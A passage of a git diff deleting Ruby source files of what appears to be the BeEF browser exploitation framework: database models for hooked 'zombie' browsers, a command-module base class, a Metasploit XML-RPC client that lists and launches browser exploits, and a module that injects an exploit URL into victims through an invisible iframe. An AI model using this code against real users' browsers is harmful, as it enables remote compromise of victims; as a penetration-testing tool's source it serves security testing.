:description => opts[opt]['desc'], :required => opts[opt]['required'], :value => opts[opt]['default']) - end - pl.save - - end - end - } - end - - end - - # - # Checks for new plugins and updates the database. - # - def update_plugins! - db_plugins = [], folders = '' - - BeEF::Models::Plugin.all.each {|db_plugin| db_plugins.push(db_plugin.path)} - - Dir.foreach("#{$root_dir}/modules/plugins/") do |folder| - folders += "#{folder}|" if not ['.', '..'].include? folder and File.directory? "#{$root_dir}/modules/plugins/#{folder}" - end - - regex = /\/modules\/plugins\/(#{folders})\/(\w+)\/(\w+).rb/i - - Dir["#{$root_dir}/modules/plugins/**/*.rb"].each do |plugin| - if (plugin = plugin.match(regex)[0]) - BeEF::Models::Plugin.new(:path => plugin).save if not db_plugins.include? plugin - end - end - end - - -end - -end diff --git a/lib/model/autoloading.rb b/lib/model/autoloading.rb deleted file mode 100644 index 3b89a0d40..000000000 --- a/lib/model/autoloading.rb +++ /dev/null @@ -1,18 +0,0 @@ -module BeEF -module Models - -class Autoloading - - include DataMapper::Resource - - storage_names[:default] = 'autoloading' - - property :id, Serial - property :in_use, Boolean - - belongs_to :command - -end - -end -end \ No newline at end of file diff --git a/lib/model/browserdetails.rb b/lib/model/browserdetails.rb deleted file mode 100644 index 8ee8b00eb..000000000 --- a/lib/model/browserdetails.rb +++ /dev/null @@ -1,95 +0,0 @@ -module BeEF -module Models - -class BrowserDetails - - include DataMapper::Resource - - attr_reader :guard - - # - # Class constructor - # - def initialize(config) - # we set up a mutex - super(config) - @@guard = Mutex.new - end - - storage_names[:default] = 'browser_details' - - property :session_id, Text, :key => true - property :detail_key, Text, :lazy => false, :key => true - property :detail_value, Text, :lazy => false - - # - # Returns the requested value from the data store - # - def self.get(session_id, key) - browserdetail = first(:session_id => session_id, :detail_key => key) - - return nil if browserdetail.nil? - return nil if browserdetail.detail_value.nil? - return browserdetail.detail_value - end - - # - # Stores a key->value pair into the data store - # - def self.set(session_id, detail_key, detail_value) - # if the details already exist don't re-add them - return nil if not get(session_id, detail_key).nil? - - # store the returned browser details - browserdetails = BeEF::Models::BrowserDetails.new( - :session_id => session_id, - :detail_key => detail_key, - :detail_value => detail_value) - - @@guard.synchronize { - result = browserdetails.save - # if the attempt to save the browser details fails return a bad request - raise WEBrick::HTTPStatus::BadRequest, "Failed to save browser details" if result.nil? - } - - browserdetails - end - - # - # Returns the icon representing the browser type the - # hooked browser is using (i.e. Firefox, Internet Explorer) - # - def self.browser_icon(session_id) - - browser = get(session_id, 'BrowserName') - - return BeEF::Constants::Agents::AGENT_IE_IMG if browser.eql? "IE" # Internet Explorer - return BeEF::Constants::Agents::AGENT_FIREFOX_IMG if browser.eql? "FF" # Firefox - return BeEF::Constants::Agents::AGENT_SAFARI_IMG if browser.eql? "S" # Safari - return BeEF::Constants::Agents::AGENT_CHROME_IMG if browser.eql? "C" # Chrome - return BeEF::Constants::Agents::AGENT_OPERA_IMG if browser.eql? "O" # Opera - - BeEF::Constants::Agents::AGENT_UNKNOWN_IMG - end - - # - # Returns the icon representing the os type the - # zombie is running (i.e. Windows, Linux) - # - def self.os_icon(session_id) - - ua_string = get(session_id, 'BrowserReportedName') - - return BeEF::Constants::Os::OS_UNKNOWN_IMG if ua_string.nil? # Unknown - return BeEF::Constants::Os::OS_WINDOWS_IMG if ua_string.include? BeEF::Constants::Os::OS_WINDOWS_UA_STR # Windows - return BeEF::Constants::Os::OS_LINUX_IMG if ua_string.include? BeEF::Constants::Os::OS_LINUX_UA_STR # Linux - return BeEF::Constants::Os::OS_IPHONE_IMG if ua_string.include? BeEF::Constants::Os::OS_IPHONE_UA_STR # iPhone - do this before Mac, because it includes Mac - return BeEF::Constants::Os::OS_MAC_IMG if ua_string.include? BeEF::Constants::Os::OS_MAC_UA_STR # Mac OS X - - BeEF::Constants::Os::OS_UNKNOWN_IMG - end - -end - -end -end diff --git a/lib/model/command.rb b/lib/model/command.rb deleted file mode 100644 index caab06093..000000000 --- a/lib/model/command.rb +++ /dev/null @@ -1,53 +0,0 @@ -module BeEF -module Models - -class Command - - include DataMapper::Resource - - storage_names[:default] = 'commands' - - property :id, Serial - property :data, Text - property :creationdate, String, :length => 15, :lazy => false - property :label, Text, :lazy => false - property :instructions_sent, Boolean, :default => false - - has n, :results - has n, :autoloadings - - # - # Save results and flag that the command has been run on the hooked browser - # - # @param: {String} the session_id. Must have been checked with BeEF::Filter.is_valid_hook_session_id?(hook_session_id) before use in this function. - # @param: {String} the command_id. Must have been checked with BeEF::Filter.is_valid_commmamd_id?(command_id) before use in this function. - # @param: {String} the command friendly name. Must have been checked with command_friendly_name.empty? before use in this function. - # @param: {String} the result of the command module. Must have been checked with result.empty? before use in this function. - # - def self.save_result(hook_session_id, command_id, command_friendly_name, result) - - # get the hooked browser structure and id from the database - zombie = BeEF::Models::Zombie.first(:session => hook_session_id) || nil - raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil? - raise WEBrick::HTTPStatus::BadRequest, "zombie.id is nil" if zombie.id.nil? - zombie_id = zombie.id - raise WEBrick::HTTPStatus::BadRequest, "zombie.ip is nil" if zombie.ip.nil? - zombie_ip = zombie.ip - - # get the command module data structure from the database - command = first(:id => command_id.to_i, :zombie_id => zombie_id) || nil - raise WEBrick::HTTPStatus::BadRequest, "command is nil" if command.nil? - - # create the entry for the results - command.results.new(:zombie_id => zombie_id, :data => result.to_json, :date => Time.now.to_i) - command.save - - # log that the result was returned - BeEF::Logger.instance.register('Command', "The '#{command_friendly_name}' command module was successfully executed against '#{zombie_ip}'", zombie_id) - - end - -end - -end -end \ No newline at end of file diff --git a/lib/model/commandmodule.rb b/lib/model/commandmodule.rb deleted file mode 100644 index ab8681292..000000000 --- a/lib/model/commandmodule.rb +++ /dev/null @@ -1,21 +0,0 @@ -module BeEF -module Models - -class CommandModule - - include DataMapper::Resource - - storage_names[:default] = 'command_modules' - - property :id, Serial - property :path, Text, :lazy => false - property :name, Text, :lazy => false - - has n, :commands - has 1, :dynamic_command_info - - -end - -end -end diff --git a/lib/model/distributedenginerules.rb b/lib/model/distributedenginerules.rb deleted file mode 100644 index 52e900992..000000000 --- a/lib/model/distributedenginerules.rb +++ /dev/null @@ -1,17 +0,0 @@ -module BeEF -module Models - -class DistributedEngineRules - - include DataMapper::Resource - - storage_names[:default] = 'distributed_engine_rules' - - property :id, Serial - property :data, Text - property :enabled, Boolean - -end - -end -end \ No newline at end of file diff --git a/lib/model/dynamiccommandinfo.rb b/lib/model/dynamiccommandinfo.rb deleted file mode 100644 index dd811e19b..000000000 --- a/lib/model/dynamiccommandinfo.rb +++ /dev/null @@ -1,20 +0,0 @@ -module BeEF -module Models - -class DynamicCommandInfo - - include DataMapper::Resource - - storage_names[:default] = 'dynamic_command_info' - - property :id, Serial - property :name, Text, :lazy => false - property :description, Text, :lazy => false - property :targets, Text, :lazy => false - belongs_to :command_module - -end - -end -end - diff --git a/lib/model/dynamicpayloadinfo.rb b/lib/model/dynamicpayloadinfo.rb deleted file mode 100644 index 95a2de0c0..000000000 --- a/lib/model/dynamicpayloadinfo.rb +++ /dev/null @@ -1,21 +0,0 @@ -module BeEF -module Models - -class DynamicPayloadInfo - - include DataMapper::Resource - - storage_names[:default] = 'dynamic_payload_info' - - property :id, Serial - property :name, String, :length => 15 - property :value, String, :length => 30 - property :required, Boolean, :default => false - property :description, Text, :lazy => false - belongs_to :dynamic_payloads - -end - -end -end - diff --git a/lib/model/dynamicpayloads.rb b/lib/model/dynamicpayloads.rb deleted file mode 100644 index 966ec118f..000000000 --- a/lib/model/dynamicpayloads.rb +++ /dev/null @@ -1,19 +0,0 @@ -module BeEF -module Models - -class DynamicPayloads - - include DataMapper::Resource - - storage_names[:default] = 'dynamic_payloads' - - property :id, Serial - property :name, Text, :lazy => false - - has n, :dynamic_payload_info - -end - -end -end - diff --git a/lib/model/http.rb b/lib/model/http.rb deleted file mode 100644 index d60ed2b6c..000000000 --- a/lib/model/http.rb +++ /dev/null @@ -1,23 +0,0 @@ -module BeEF -module Models - - class Http - - include DataMapper::Resource - - storage_names[:default] = 'http' - - property :id, Serial - property :request, Text, :lazy => true - property :response, Text, :lazy => true - property :method, Text, :lazy => false - property :content_length, Text, :lazy => false, :default => 0 - property :domain, Text, :lazy => false - property :path, Text, :lazy => false - property :date, DateTime, :lazy => false - property :has_ran, Boolean, :default => false - - end - -end -end \ No newline at end of file diff --git a/lib/model/log.rb b/lib/model/log.rb deleted file mode 100644 index f63921ebb..000000000 --- a/lib/model/log.rb +++ /dev/null @@ -1,19 +0,0 @@ -module BeEF -module Models - -class Log - - include DataMapper::Resource - - storage_names[:default] = 'logs' - - property :id, Serial - property :type, Text, :lazy => false - property :event, Text, :lazy => false - property :date, DateTime, :lazy => false - property :zombie_id, Text, :lazy => false - -end - -end -end diff --git a/lib/model/optioncache.rb b/lib/model/optioncache.rb deleted file mode 100644 index 4420d8b9f..000000000 --- a/lib/model/optioncache.rb +++ /dev/null @@ -1,17 +0,0 @@ -module BeEF -module Models - -class OptionCache - - include DataMapper::Resource - - storage_names[:default] = 'option_cache' - - property :id, Serial - property :name, Text - property :value, Text - -end - -end -end diff --git a/lib/model/plugin.rb b/lib/model/plugin.rb deleted file mode 100644 index 885e10718..000000000 --- a/lib/model/plugin.rb +++ /dev/null @@ -1,17 +0,0 @@ -module BeEF -module Models - - class Plugin - - include DataMapper::Resource - - storage_names[:default] = 'plugins' - - property :id, Serial - property :data, Text, :lazy => false - property :path, Text, :lazy => false - - end - -end -end \ No newline at end of file diff --git a/lib/model/result.rb b/lib/model/result.rb deleted file mode 100644 index 2a0d86dc0..000000000 --- a/lib/model/result.rb +++ /dev/null @@ -1,17 +0,0 @@ -module BeEF -module Models - -class Result - - include DataMapper::Resource - - storage_names[:default] = 'results' - - property :id, Serial - property :date, String, :length => 15, :lazy => false - property :data, Text - -end - -end -end \ No newline at end of file diff --git a/lib/model/user.rb b/lib/model/user.rb deleted file mode 100644 index e62825521..000000000 --- a/lib/model/user.rb +++ /dev/null @@ -1,24 +0,0 @@ -module BeEF -module Models - -class User - - include DataMapper::Resource - - storage_names[:default] = 'users' - - property :id, Serial - property :session_id, Text - property :ip, Text - - # - # Checks if the user has been authenticated - # - def authenticated? - true || false if not @ip.nil? - end - -end - -end -end \ No newline at end of file diff --git a/lib/model/zombie.rb b/lib/model/zombie.rb deleted file mode 100644 index 2c068280a..000000000 --- a/lib/model/zombie.rb +++ /dev/null @@ -1,69 +0,0 @@ -module BeEF -module Models - -class Zombie - - include DataMapper::Resource - - storage_names[:default] = 'zombies' - - property :id, Serial - property :session, Text, :lazy => false - property :ip, Text, :lazy => false - property :firstseen, String, :length => 15 - property :lastseen, String, :length => 15 - property :httpheaders, Text, :lazy => false - property :domain, Text, :lazy => false # the domain originating the hook request - property :count, Integer, :lazy => false - property :has_init, Boolean, :default => false - - has n, :commands - has n, :results - has n, :logs - has n, :https - - # - # Increases the count of a zombie - # - def count! - if not self.count.nil? then self.count += 1; else self.count = 1; end - end - - # - # Returns the icon representing the browser type the - # zombie is using (i.e. Firefox, Internet Explorer) - # - def browser_icon - agent = JSON.parse(self.httpheaders)['user-agent'].to_s || nil - - return BeEF::Constants::Agents::AGENT_UNKNOWN_IMG if agent.nil? - return BeEF::Constants::Agents::AGENT_IE_IMG if agent.include? BeEF::Constants::Agents::AGENT_IE_UA_STR - return BeEF::Constants::Agents::AGENT_FIREFOX_IMG if agent.include? BeEF::Constants::Agents::AGENT_FIREFOX_UA_STR - return BeEF::Constants::Agents::AGENT_MOZILLA_IMG if agent.include? BeEF::Constants::Agents::AGENT_MOZILLA_UA_STR - return BeEF::Constants::Agents::AGENT_SAFARI_IMG if agent.include? BeEF::Constants::Agents::AGENT_SAFARI_UA_STR - return BeEF::Constants::Agents::AGENT_KONQ_IMG if agent.include? BeEF::Constants::Agents::AGENT_KONQ_UA_STR - return BeEF::Constants::Agents::AGENT_CHROME_IMG if agent.include? BeEF::Constants::Agents::AGENT_CHROME_UA_STR - return BeEF::Constants::Agents::AGENT_OPERA_IMG if agent.include? BeEF::Constants::Agents::AGENT_OPERA_UA_STR - - BeEF::Constants::Agents::AGENT_UNKNOWN_IMG - end - - # - # Returns the icon representing the os type the - # hooked browser is running (i.e. Windows, Linux) - # - def os_icon - agent = JSON.parse(self.httpheaders)['user-agent'].to_s || nil - - return BeEF::Constants::Os::OS_UNKNOWN_IMG if agent.nil? - return BeEF::Constants::Os::OS_WINDOWS_IMG if agent.include? BeEF::Constants::Os::OS_WINDOWS_UA_STR - return BeEF::Constants::Os::OS_LINUX_IMG if agent.include? BeEF::Constants::Os::OS_LINUX_UA_STR - return BeEF::Constants::Os::OS_MAC_IMG if agent.include? BeEF::Constants::Os::OS_MAC_UA_STR - - BeEF::Constants::Os::OS_UNKNOWN_IMG - end - -end - -end -end diff --git a/lib/modules/command.rb b/lib/modules/command.rb deleted file mode 100644 index 54aabec9a..000000000 --- a/lib/modules/command.rb +++ /dev/null @@ -1,309 +0,0 @@ -module BeEF - - # - # This module contains a list of utils functions to use - # when writing commands. - # - module CommandUtils - - # Format a string to support multiline in javascript. - def format_multiline(text); text.gsub(/\n/, '\n'); end - - end - - # - # The Command Module Context is being used when evaluating code in eruby. - # In other words, we use that code to add funky functions to the - # javascript templates of our commands. - # - class CommandContext < Erubis::Context - include BeEF::CommandUtils - - def initialize(hash=nil); - super(hash); - end - - end - - # - # This class is the base class for all command modules in the framework. - # - # Two instances of this object are created during the execution of command module. - # - class Command - - attr_reader :info, :datastore, :path, :default_command_url, :beefjs_components, :friendlyname - attr_accessor :zombie, :command_id, :session_id, :target - - include BeEF::CommandUtils - - BD = BeEF::Models::BrowserDetails - - UNKNOWN = BeEF::Constants::Browsers::UNKNOWN - ALL = BeEF::Constants::Browsers::ALL - IE = BeEF::Constants::Browsers::IE - S = BeEF::Constants::Browsers::S - FF = BeEF::Constants::Browsers::FF - C = BeEF::Constants::Browsers::C - O = BeEF::Constants::Browsers::O - - VERIFIED_WORKING = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING - VERIFIED_NOT_WORKING = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING - VERIFIED_USER_NOTIFY = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_USER_NOTIFY - VERIFIED_UNKNOWN = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN - - # Super class controller - def initialize(info) - @info = info - @datastore = @info['Data'] || {} - @friendlyname = @info['Name'] || nil - @target = @info['Target'] || nil - @output = '' - @path = @info['File'].sub(BeEF::HttpHookServer.instance.root_dir, '') - @default_command_url = '/command/'+(File.basename @path, '.rb')+'.js' - @id = BeEF::Models::CommandModule.first(:path => @info['File']).object_id - @use_template = false - @auto_update_zombie = false - @results = {} - @beefjs_components = {} - end - - # This function is called just before the intructions are sent to hooked browser. - # The derived class can use this function to update params used in the command module. - def pre_send; - end - - # Callback method. This function is called when the hooked browser sends results back. - def callback; end - - # If the command requires some data to be sent back, this function will process them. - def process_zombie_response(head, params); end - - # Returns true if the command needs configurations to work. False if not. - def needs_configuration?; !@datastore.nil?; end - - # Returns information about the command in a JSON format. - def to_json - { - 'Name' => info['Name'], - 'Description' => info['Description'], - 'Category' => info['Category'], - 'Data' => info['Data'] - }.to_json - end - - # Builds the 'datastore' attribute of the command which is used to generate javascript code. - def build_datastore(data); - @datastore = JSON.parse(data) - end - - # Sets the datastore for the callback function. This function is meant to be called by the CommandHandler - # - # build_callback_datastore(http_params, http_header) - # - def build_callback_datastore(http_params, http_header) - - @datastore = {'http_headers' => {}} # init the datastore - - # get, check and add the http_params to the datastore - http_params.keys.each { |http_params_key| - raise WEBrick::HTTPStatus::BadRequest, "http_params_key is invalid" if not BeEF::Filter.is_valid_command_module_datastore_key?(http_params_key) - http_params_value = Erubis::XmlHelper.escape_xml(http_params[http_params_key]) - raise WEBrick::HTTPStatus::BadRequest, "http_params_value is invalid" if not BeEF::Filter.is_valid_command_module_datastore_param?(http_params_value) - @datastore[http_params_key] = http_params_value # add the checked key and value to the datastore - } - - # get, check and add the http_headers to the datastore - http_header.keys.each { |http_header_key| - raise WEBrick::HTTPStatus::BadRequest, "http_header_key is invalid" if not BeEF::Filter.is_valid_command_module_datastore_key?(http_header_key) - http_header_value = Erubis::XmlHelper.escape_xml(http_header[http_header_key][0]) - raise WEBrick::HTTPStatus::BadRequest, "http_header_value is invalid" if not BeEF::Filter.is_valid_command_module_datastore_param?(http_header_value) - @datastore['http_headers'][http_header_key] = http_header_value # add the checked key and value to the datastore - } - - end - - # set the target details - # this function is used when determining the code of the node icon - def set_target(definition) - - @target = [] if not @target - @target.push(definition) - - end - - # verify whether this command module has been checked against the target browser - # this function is used when determining the code of the node icon - def verify_target - - return VERIFIED_UNKNOWN if not @target # no target specified in the module - - # loop through each definition and check it - @target.each {|definition| - return definition['verified_status'] if test_target(definition) - } - - return VERIFIED_UNKNOWN - - end - - # test if the target definition matches the hooked browser - # this function is used when determining the code of the node icon - def test_target_attribute(hb_attr_name, hb_attr_ver, target_attr_name, target_attr_max_ver, target_attr_min_ver) - - # check if wild cards are set - return true if not target_attr_name - return true if target_attr_name.nil? - return true if target_attr_name.eql? ALL - - # can't answer based on hb_attr_name - return false if not hb_attr_name - return false if hb_attr_name.nil? - return false if hb_attr_name.eql? UNKNOWN - - # check if the attribute is targeted - return false if not target_attr_name.eql? hb_attr_name - - # assume that the max version and min version were purposefully excluded - return true if target_attr_max_ver.nil? && target_attr_min_ver.nil? - - # check if the framework can detect hb version - return false if hb_attr_ver.eql? 'UNKNOWN' - - # check the version number is within range - return false if hb_attr_ver.to_f > target_attr_max_ver.to_f - return false if hb_attr_ver.to_f < target_attr_min_ver.to_f - - # all the checks passed - true - end - - # test if the target definition matches the hooked browser - # this function is used when determining the code of the node icon - def test_target(target_definition) - - # if the definition is nill we don't know - return false if target_definition.nil? - - # check if the browser is a target - hb_browser_name = get_browser_detail('BrowserName') - hb_browser_version = get_browser_detail('BrowserVersion') - target_browser_name = target_definition['browser_name'] - target_browser_max_ver = target_definition['browser_max_ver'] - target_browser_min_ver = target_definition['browser_min_ver'] - browser_match = test_target_attribute(hb_browser_name, hb_browser_version, target_browser_name, target_browser_max_ver, target_browser_min_ver) - - # check if the operating system is a target - hb_os_name = get_browser_detail('OsName') - target_os_name = target_definition['os_name'] - os_match = test_target_attribute(hb_os_name, nil, target_os_name, nil, nil) - return browser_match && os_match - - end - - # Store the browser detail in the database. - def set_browser_detail(key, value) - raise WEBrick::HTTPStatus::BadRequest, "@session_id is invalid" if not BeEF::Filter.is_valid_hook_session_id?(@session_id) - BD.set(@session_id, key, value) - end - - # Get the browser detail from the database. - def get_browser_detail(key) - raise WEBrick::HTTPStatus::BadRequest, "@session_id is invalid" if not BeEF::Filter.is_valid_hook_session_id?(@session_id) - BD.get(@session_id, key) - end - - # Tells the framework that the command module will be using a template file. - def use_template!; - tpl = @info['File'].sub(/.rb$/, '.js') - @template = tpl if File.exists? tpl - - @use_template = true; - end - - # Returns true if the command uses a template. False if not. - def use_template?; @use_template; end - - # Returns the output of the command. These are the actual instructions sent to the browser. - def output - if use_template? # and @template - raise WEBrick::HTTPStatus::BadRequest, "@template is nil" if @template.nil? - raise WEBrick::HTTPStatus::BadRequest, "@template file does not exist" if not File.exists? @template - - @eruby = Erubis::FastEruby.new(File.read(@template)) - - if @datastore - @datastore['command_url'] = BeEF::HttpHookServer.instance.get_command_url(@default_command_url) - @datastore['command_id'] = @command_id - - command_context = BeEF::CommandContext.new - @datastore.each{|k,v| - command_context[k] = v - } - - @output = @eruby.evaluate(command_context) - else - @ouput = @eruby.result() - end - end - - @output - end - - # Returns the results for the zombie. - def get_results - return '' if @results.length.eql? 0 - - @results.to_json - end - - # Saves the results received from the zombie. - def save(results); - @results = results; - end - - # Tells the framework to load a specific module of the BeEFJS library that - # the command will be using. - # - # use 'beef.net.local' - # use 'beef.encode.base64' - # - def use(component) - return if @beefjs_components.include? component - - component_path = '/'+component - component_path.gsub!(/beef./, '') - component_path.gsub!(/\./, '/') - component_path.replace "#{$root_dir}/modules/beefjs/#{component_path}.js" - - raise "Invalid beefjs component for command module #{@path}" if not File.exists?(component_path) - - @beefjs_components[component] = component_path - end - - def map_file_to_url(file, path=nil, extension=nil, count=1) - return BeEF::AssetHandler.instance.bind(file, path, extension, count) - end - - def oc_value(name) - option = BeEF::Models::OptionCache.first(:name => name) - return nil if not option - return option.value - end - - def apply_defaults() - @datastore.each { |opt| - opt["value"] = oc_value(opt["name"]) || opt["value"] - } - end - - private - - @use_template - @eruby - @update_zombie - @results - - end - -end diff --git a/lib/modules/msfclient.rb b/lib/modules/msfclient.rb deleted file mode 100644 index f724cd403..000000000 --- a/lib/modules/msfclient.rb +++ /dev/null @@ -1,176 +0,0 @@ -module BeEF - - # - # XML RPC Client for Metasploit - # - class MsfClient < ::XMLRPC::Client - include Singleton - - def initialize - @config = BeEF::Configuration.instance - @enabled = (@config.get('enable_msf').to_i > 0) - return if (not @enabled) - host = @config.get('msf_host') - path = @config.get('msf_path') - port = @config.get('msf_port') - @un = @config.get('msf_user') - @pw = @config.get('msf_pass') - @lock = false - - if(not host or not path or not port or not @un or not @pw) - print "There is not enough information to initalize Metasploit connectivity at this time. Please check your options in config.ini to verify that all information is present\n" - @enabled = false - end - - @token = nil - @lastauth = nil - - super(host,path,port) - - - end - def get_lock() - sleep 0.2 while @lock - @lock = true - end - - def release_lock() - @lock = false - end - - # is metasploit enabled in the configuration - def is_enabled - @enabled - end - - # login into metasploit - def login - get_lock() - res = self.call("auth.login", @un ,@pw ) - if(not (res and res['result'] == "success")) - @enabled = false - release_lock() - return false - end - @token = res['token'] - @lastauth = Time.now - release_lock() - - true - - end - - # sends commands to the metasploit xml rpc server - def call(meth, *args) - return if not @enabled - - if(meth != "auth.login") - self.login() if not @token - args.unshift(@token) - end - - begin - super(meth, *args) - rescue Errno::ECONNREFUSED - print "WARNING: Connection to Metasploit backend failed. This is typically because it is either not running your connection information is incorrect, please verify this information and try again. Metasploit capabilities have been disabled until this is fixed\n" - @enabled = false - return false - rescue XMLRPC::FaultException => e - if e.faultCode == 401 and meth == "auth.login" - print "WARNING: Your username and password combination was rejected by the Metasploit backend server. Please verify your settings and restart the BeEF server. Metasploit connectivity has been disabled.\n" - @enabled = false - elsif e.faultCode == 401 - res = self.login() - else - print "WARNING: An unknown exception has occured while talking to the Metasploit backend. The Exception text is (#{e.faultCode} : #{e.faultString}. Please check the Metasploit logs for more details.\n" - end - return false - rescue Exception => e - print "WARNING: An unknown exception (#{e}) has occured while talking to the Metasploit backend. Please check the Metasploit logs for more details.\n" - return false - end - - end - - def browser_exploits() - return if not @enabled - - get_lock() - res = self.call('module.exploits') - return [] if not res or not res['modules'] - - mods = res['modules'] - ret = [] - mods.each do |m| - ret << m if(m.include? '/browser/') - end - release_lock() - ret.sort - end - - def get_exploit_info(name) - return if not @enabled - get_lock() - res = self.call('module.info','exploit',name) - release_lock() - res || {} - end - def get_payloads(name) - return if not @enabled - get_lock() - res = self.call('module.compatible_payloads',name) - release_lock() - res || {} - end - def get_options(name) - return if not @enabled - get_lock() - res = self.call('module.options','exploit',name) - release_lock() - res || {} - end - def payloads() - return if not @enabled - get_lock() - res = self.call('module.payloads') - release_lock() - return {} if not res or not res['modules'] - res['modules'] - end - def payload_options(name) - return if not @enabled - get_lock() - res = self.call('module.options','payload',name) - release_lock - return {} if not res - res - end - def launch_exploit(exploit,opts) - return if not @enabled - get_lock() - begin - res = self.call('module.execute','exploit',exploit,opts) - rescue Exception => e - print "Exploit failed for #{exploit} \n" - release_lock() - return false - end - release_lock() - - uri = "" - if opts['SSL'] - uri += "https://" - else - uri += "http://" - end - - uri += @config.get('msf_callback_host') + ":" + opts['SRVPORT'] + "/" + opts['URIPATH'] - - res['uri'] = uri - res - end - - - end - -end diff --git a/lib/modules/msfcommand.rb b/lib/modules/msfcommand.rb deleted file mode 100644 index 80f99a2f5..000000000 --- a/lib/modules/msfcommand.rb +++ /dev/null @@ -1,216 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Msf < BeEF::Command - - - def initialize - super({ - 'Name' => 'Generic Metasploit Exploit', - - 'Description' => %Q{ - This module will launch a Metasploit exploit against the host - }, - 'Category' => 'Metasploit', - 'Author' => ['sussurro'], - 'Data' => [ ], - 'File' => __FILE__, - }) - - use 'beef.dom' - end - - def callback - save({'result' => @datastore['result']}) - end - - # - def update_info(id) - mod = BeEF::Models::CommandModule.first(:id => id) - msfinfo = nil - targets = [] - - if mod.dynamic_command_info == nil - - msf = BeEF::MsfClient.instance - msf.login() - msfinfo = msf.get_exploit_info(mod.name) - - st = mod.name.split('/').first - puts "st: " + st - - os_name = BeEF::Constants::Os::match_os(st) - browsers = BeEF::Constants::Browsers::match_browser(msfi['name'] + msfi['targets'].to_json) - - targets << {'os_name' => os_name, 'browser_name' => 'ALL', 'verified_status' => 3} if browsers.count == 0 - - browsers.each do |bn| - targets << {'os_name' => os_name, 'browser_name' => bn, 'verified_status' => 1} - end - - targets << {'os_name' => "ALL", 'verified_status' => 0 } - - - mod.dynamic_command_info = BeEF::Models::DynamicCommandInfo.new( - :name => msfinfo['name'], - :description => msfinfo['description'], - :targets => targets.to_json); - mod.save - else - msfinfo = mod.dynamic_command_info - targets = JSON.parse(msfinfo['targets']) - end - @info['Name'] = msfinfo['name'] - @info['Description'] = msfinfo['description'] - @info['MsfModName'] = mod.name - @info['mod-id'] = mod.id - @info['msfid'] = mod.name - @target = targets - - end - def update_data() - modname = @info['MsfModName'] - - msf = BeEF::MsfClient.instance - if not msf.is_enabled - @info['Description'] += "
" + "*"*15 + "WARNING" + "*"*15 + "
" - @info['Description'] += "Metasploit capapbilities have been disabled, please verify your configuration or if msf_enabled = 1 then check the BeEF console for errors" - return - end - msfoptions = msf.get_options(modname) - msfoptions.keys.each { |k| - next if msfoptions[k]['advanced'] == true - next if msfoptions[k]['evasion'] == true - @info['Data'] << { 'name' => k + '_txt', 'type' => 'label', 'text' => msfoptions[k]['desc']} - case msfoptions[k]['type'] - when "string","address","port" - msfoptions[k]['default'] = rand(32**20).to_s(32) if k == "URIPATH" - @info['Data'] << {'name' => k , 'ui_label' => k, 'value' => (oc_value(k) || msfoptions[k]['default'])} - when "bool" - @info['Data'] << {'name' => k, 'type' => 'checkbox', 'ui_label' => k } - when "enum" - enumdata = [] - msfoptions[k]['enums'].each { |e| - enumdata << [e] - } - @info['Data'] << { 'name' => k, 'type' => 'combobox', 'ui_label' => k, 'store_type' => 'arraystore', 'store_fields' => ['enum'], 'store_data' => enumdata, 'valueField' => 'enum', 'displayField' => 'enum' , 'autoWidth' => true, 'mode' => 'local', 'value' => (oc_value(k) || msfoptions[k]['default'])} - else - print "K => #{k}\n" - print "Status => #{msfoptions[k]['advanced']}\n" - end - } - - msfpayloads = msf.get_payloads(modname) - return if not msfpayloads or not msfpayloads['payloads'] - - payloads = msfpayloads['payloads'] - pl = [] - pl << [(oc_value('PAYLOAD') || 'generic/shell_bind_tcp')] - payloads.each { |p| - pl << [p] - } - - @info['Data'] << { 'name' => 'PAYLOAD', - 'type' => 'combobox', - 'anchor' => '95% -100', - 'ui_label' => 'Payload', - 'store_type' => 'arraystore', - 'store_fields' => ['payload'], - 'store_data' => pl, - 'valueField' => 'payload', - 'displayField' => 'payload' , - 'autoWidth' => true, - 'mode' => 'local', - 'reloadOnChange' => true, # this will trigger a reload of the payload options - 'emptyText' => "select a payload..."} - - @info['Data'] << { 'name' => 'mod_id' , 'id' => 'mod_id', 'type' => 'hidden', 'value' => @info['mod-id'] } - - end - - def get_payload_options(payload_name) - # get payload options from metasploit - msf_xmlrpc_clinet = BeEF::MsfClient.instance - msf_xmlrpc_clinet.login() - payload_options = msf_xmlrpc_clinet.payload_options(payload_name) - - info = {} - info['Data'] = [] - - payload_options.keys.each { |k| - next if payload_options[k]['advanced'] == true - next if payload_options[k]['evasion'] == true - info['Data'] << { 'name' => k + '_txt', 'type' => 'label', 'text' => payload_options[k]['desc']} - case payload_options[k]['type'] - when "string","address","port","raw","path", "integer" - payload_options[k]['default'] = "127.0.0.1" if k == "RHOST" - info['Data'] << {'name' => k , 'ui_label' => k, 'value' => (oc_value(k) || payload_options[k]['default'])} - when "bool" - info['Data'] << {'name' => k, 'type' => 'checkbox', 'ui_label' => k } - when "enum" - info['Data'] << { 'name' => k, 'type' => 'combobox', 'ui_label' => k, 'store_type' => 'arraystore', 'store_fields' => ['enum'], 'store_data' => payload_options[k]['enums'], 'valueField' => 'enum', 'displayField' => 'enum' , 'autoWidth' => true, 'mode' => 'local', 'value' => (oc_value(k) || payload_options[k]['default'])} - else - # Debug output if the payload option type isn't found - puts "K => #{k}\n" - puts "Status => #{payload_options[k]['advanced']}\n" - puts "Type => #{payload_options[k]['type']}\n" - puts payload_options[k] - end - } - - # turn results into JSON - payload_options_json = [] - payload_options_json[1] = JSON.parse(info.to_json) - - JSON.parse(info.to_json) - - end - def launch_exploit(opts) - - msf = BeEF::MsfClient.instance - msf.login() - ret = msf.launch_exploit(@info['msfid'],opts) - @output = "\n" if ret['result'] == 'success' - ret - end - - - def output - if @datastore - @datastore['command_url'] = BeEF::HttpHookServer.instance.get_command_url(@default_command_url) - @datastore['command_id'] = @command_id - end - - - return " - -beef.execute(function() { - var result; - - try { - var sploit = beef.dom.createInvisibleIframe(); - sploit.src = '#{datastore['sploit_url']}'; - } catch(e) { - for(var n in e) - result+= n + ' ' + e[n] ; - } - -});" - end - def callback - content = {} - content['Exploit Results'] = @datastore['result'] - save content - end - - -end - - -end -end -end - - diff --git a/lib/patches/webrick/cookie.rb b/lib/patches/webrick/cookie.rb deleted file mode 100644 index 